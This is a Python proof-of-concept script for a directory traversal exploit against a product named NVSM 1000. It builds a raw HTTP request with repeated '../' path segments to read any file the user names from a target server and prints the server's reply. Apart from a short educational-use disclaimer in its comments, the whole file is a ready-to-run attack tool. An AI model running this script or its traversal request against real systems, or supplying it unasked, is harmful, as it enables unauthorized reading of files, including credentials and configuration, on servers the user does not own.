#!/usr/bin/env python3
# Just a PoC for NVSM 1000 Directory Transversal exploit
# The exploit present on exploitDB wasn't working, 
# so I did it myself.
# This exploit was made for educational purposes only.
# Exempt myself from any malicious act that may occur
# in case this exploit is used for malicious proposes 

import sys
import socket

url = sys.argv[1].encode()
data = b''
size = 1
file_s = sys.argv[2].encode()

request = b'GET /../../../../../../../../../../../../' + file_s\
+ b' HTTP/1.1\r\nHost: ' + url + b'''\r\nUser-Agent: Mozilla/5.0
(X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\r\n'''\
+ b'''Accept: text/html,application/xhtml+xml,
application/xml;q=0.9,*/*;q=0.8\r\n''' + b'''Accept-Language: en-US,
en;q=0.5\r\n''' + b'Accept-Encoding: gzip, deflate\r\n'\
+ b'Connection: close\r\n'+ b'Upgrade-Insecure-Requests: 1'+ b'\r\n\r\n'

print("[*]Starting...")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((url, 80))
try:
    sock.sendall(request)
    while size:
        receive = sock.recv(2048)
        data += receive
        size = len(receive)
        if size < 2048:
            break
    print(data.decode())
finally:
    print("[*]Done!!")
    sock.close()
